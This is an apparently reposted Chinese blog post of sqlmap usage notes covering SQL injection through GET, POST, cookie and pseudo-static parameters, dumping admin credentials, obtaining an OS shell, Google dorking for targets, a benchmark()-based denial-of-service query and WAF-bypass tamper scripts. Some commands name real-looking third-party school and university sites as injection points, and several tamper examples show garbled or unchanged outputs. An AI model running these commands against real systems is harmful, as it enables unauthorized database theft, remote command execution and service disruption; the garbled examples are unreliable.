您的位置:首页 > 数据库

SQL注入工具sqlmap使用手记

2017-10-25 11:13 567 查看
1.sqlmap的get注入
假设目标是 http://www.baidu.com/news.php?id=1&data=2 sqlmap语句

列库
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --dbs

//假设结果显示库有3个: test1 、test2  、test3
获取库test1的表
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 --tables

//假设有表3个:admin,user,news
获取admin表的columns
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin --columns

//假设有字段3个:id,username,password
获取id,username,password字段的内容
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"

一切顺利的话 这算是完成了一次注入

2.sqlmap的post注射
post肯定要post内容,这个内容一般是表单神马的。可以配合burpsuite,也可以自己手工填写,当然,sqlmap之所以叫做神器,那是因为它自己完全可以搞定
target还是http://www.baidu.com/news.php
post的内容是 username=&password=
可以用sqlmap的随机值,也可以自己随便填下username=admin&password=123
那么sqlmap语句是:
列库
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -data="username=admin&password=123"
--dbs
后续步骤一样

偷懒不想填post内容可以这样
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --forms
sqlmap自动获取表单,问你是否填写神马的,然后填不填都可以

然后用sqlmap虐sqli-labs的话,我记得lessen4和10 要升到level2才可以

然后是sqlmap的绕过脚本,在最后带上参数 ----tamper "space2morehash.py"
双引号里面的脚本有哪些,有什么作用请呆着疑问往下看。

以上手敲的
下面是 羽翼SQLMAP系列课程笔记
#######################################################################3

常用语句
sqlmap -u http://www.target.com/id=2 --dbs
--tables -D whatA
--columns -D databaseA -T tableA
--dump -D databaseA -T tableA -C "username,password"
=============================================================================================
cookie注入
注入点:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
语句sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2
=============================================================================================
post注入
注入点:http://testasp.vulnweb.com/Login.asp
配合Burpsuite:./sqlmap.py -r search-test.txt -p tfUPass
---------------------------------------------------------------------------------------------
自动获取
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
指定参数
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
=============================================================================================
交互式写shell  需要指定根目录
---------------------------------------------------------------------------------------------
sqlmap -u http://www.target.com/id=2 --os-cmd=ipconfig
执行ipconfig

sqlmap -u http://www.target.com/id=2 --os-shell
获得一个shell即时执行命令,会生成文件 tmpbxbxz.php 和 tmppuoiuz.php
---------------------------------------------------------------------------------------------
伪静态注入点:http://www.target.com/ndex.php/Index/view/id/40.html
sqlmap -u http://www.target.com/ndex.php/Index/view/id/40*.html --dbs  //注意*位置,在有注入的地方,后面你懂的
=============================================================================================
请求延时
注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html
参数 --delay --safe-freq
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --delay 0.5  //延时0.5秒
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --safe-freq  //请求2次
=============================================================================================
google关键字找注入点
sqlmap  -g
inurl:php?id=1
=============================================================================================
sqlmapDDoS攻击
sqlmap -u http://www.target.com/id=2 --sql-shell
获得一个即时shell,执行
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
=============================================================================================
sqlmap绕过WAF防火墙
注入点:http://www.target.com/id=2
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs  --batch
--tamper "space2morehash.py"
tamper文件夹下自行发挥
=============================================================================================
sqlmap查看 权限及可执行函数
sqlmap -u http://www.target.com/id=2 --privileges
######################################################################################
一下是sqlmap的绕过脚本的解释:
    sqlmap自带的绕过脚本,简单翻译了一下,部分可能翻译的不到位,见谅。。
    apostrophemask.py
UTF-8编码
    Example:
    *
Input: AND '1'='1'
    *
Output: AND '1'='1'
    apostrophenullencode.py
unicode编码
    Example:
    *
Input: AND '1'='1'
    *
Output: AND '1'='1'
    appendnullbyte.py
添加
    Example:
    *
Input: AND 1=1
    *
Output: AND 1=1
    Requirement:
    *
Microsoft Access
    base64encode.py
base64编码
    Example:
    *
Input: 1' AND SLEEP(5)#
    *
Output: MScgQU5EIFNMRUVQKDUpIw==
    between.py
以“not between”替换“>”
    Example:
    *
Input: 'A > B'
    *
Output: 'A NOT BETWEEN 0 AND B'
    bluecoat.py
以随机的空白字符替代空格,以“like”替代“=”
    Example:
    *
Input: SELECT id FROM users where id = 1
    *
Output: SELECT id FROM users where id LIKE 1
    Requirement:
    *
MySQL 5.1, SGOS
    chardoubleencode.py
双重url编码
    Example:
    *
Input: SELECT FIELD FROM TABLE
    *
Output: SELECT FIELD FROM TABLE
    charencode.py
url编码
    Example:
    *
Input: SELECT FIELD FROM TABLE
    *
Output: SELECT FIELD FROM TABLE
    charunicodeencode.py
对未进行url编码的字符进行unicode编码
    Example:
    *
Input: SELECT FIELD FROM TABLE
    *
Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
    Requirement:
    *
ASP
    *
ASP.NET
    equaltolike.py
以“like”替代“=”
    Example:
    *
Input: SELECT * FROM users WHERE id=1
    *
Output: SELECT * FROM users WHERE id LIKE 1
    halfversionedmorekeywords.py在每个关键字前添加条件注释
    Example:
    *
Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
    *
Output: value'--
    Requirement:
    *
MySQL
    modsecurityzeroversioned.py
条件注释,0000
    Example:
    *
Input: 1 AND 2>1--
    *
Output: 1 --
    Requirement:
    *
MySQL
    multiplespaces.py
添加多个空格
    Example:
    *
Input: UNION SELECT
    *
Output:  UNION   SELECT
    nonrecursivereplacement.py
可以绕过对关键字删除的防注入(这个我也不知道怎么说好,看例子。。。)
    Example:
    *
Input: 1 UNION SELECT 2--
    *
Output: 1 UNUNIONION SELSELECTECT 2--
    percentage.py
在每个字符前添加百分号(%)
    Example:
    *
Input: SELECT FIELD FROM TABLE
    *
Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
    Requirement:
    *
ASP
    randomcase.py
随即大小写
    Example:
    *
Input: INSERT
    *
Output: InsERt
    randomcomments.py
随机插入区块注释
  
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: